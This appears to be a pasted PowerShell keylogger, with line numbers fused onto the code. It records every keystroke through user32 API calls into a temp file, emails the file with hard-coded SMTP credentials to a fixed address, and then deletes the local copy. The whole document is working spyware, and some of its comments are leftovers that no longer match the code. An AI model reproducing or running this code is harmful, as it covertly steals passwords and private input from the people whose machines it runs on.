5xhVBGJR

1$TimesToRun = 2
2$RunTimeP = 1
3$From = "test@nea33.com"
4$Pass = "Sis245"
5$To = "test1@nea33.com"
6$Subject = "Results"
7$body = "Keylogger Results"
8$SMTPServer = "mail.nea33.com"
9$SMTPPort = "25"
10$credentials = new-object Management.Automation.PSCredential $From, ($Pass | ConvertTo-SecureString -AsPlainText -Force)
11############################
12
13$TimeStart = Get-Date
14$TimeEnd = $timeStart.addminutes($RunTimeP)
15
16#requires -Version 2
17function Start-KeyLogger($Path="$env:temp\keylogger.txt") 
18{
19  # Signatures for API Calls
20  $signatures = @'
21[DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)] 
22public static extern short GetAsyncKeyState(int virtualKeyCode); 
23[DllImport("user32.dll", CharSet=CharSet.Auto)]
24public static extern int GetKeyboardState(byte[] keystate);
25[DllImport("user32.dll", CharSet=CharSet.Auto)]
26public static extern int MapVirtualKey(uint uCode, int uMapType);
27[DllImport("user32.dll", CharSet=CharSet.Auto)]
28public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);
29'@
30
31  # load signatures and make members available
32  $API = Add-Type -MemberDefinition $signatures -Name 'Win32' -Namespace API -PassThru
33    
34  # create output file
35  $null = New-Item -Path $Path -ItemType File -Force
36
37  try
38  {
39
40    # create endless loop. When user presses CTRL+C, finally-block
41    # executes and shows the collected key presses
42    $Runner = 0
43	while ($TimesToRun  -ge $Runner) {
44	while ($TimeEnd -ge $TimeNow) {
45      Start-Sleep -Milliseconds 40
46      
47      # scan all ASCII codes above 8
48      for ($ascii = 9; $ascii -le 254; $ascii++) {
49        # get current key state
50        $state = $API::GetAsyncKeyState($ascii)
51
52        # is key pressed?
53        if ($state -eq -32767) {
54          $null = [console]::CapsLock
55
56          # translate scan code to real code
57          $virtualKey = $API::MapVirtualKey($ascii, 3)
58
59          # get keyboard state for virtual keys
60          $kbstate = New-Object Byte[] 256
61          $checkkbstate = $API::GetKeyboardState($kbstate)
62
63          # prepare a StringBuilder to receive input key
64          $mychar = New-Object -TypeName System.Text.StringBuilder
65
66          # translate virtual key
67          $success = $API::ToUnicode($ascii, $virtualKey, $kbstate, $mychar, $mychar.Capacity, 0)
68
69          if ($success) 
70          {
71            # add key to logger file
72            [System.IO.File]::AppendAllText($Path, $mychar, [System.Text.Encoding]::Unicode) 
73          }
74        }
75      }
76	  $TimeNow = Get-Date
77    }
78	send-mailmessage -from $from -to $to -subject $Subject -body $body -Attachment $Path -smtpServer $smtpServer -port $SMTPPort -credential $credentials -usessl
79	Remove-Item -Path $Path -force
80	}
81  }
82  finally
83  {
84    # open logger file in Notepad
85	exit 1
86  }
87}
88
89# records all key presses until script is aborted by pressing CTRL+C
90# will then open the file with collected key codes
91Start-KeyLogger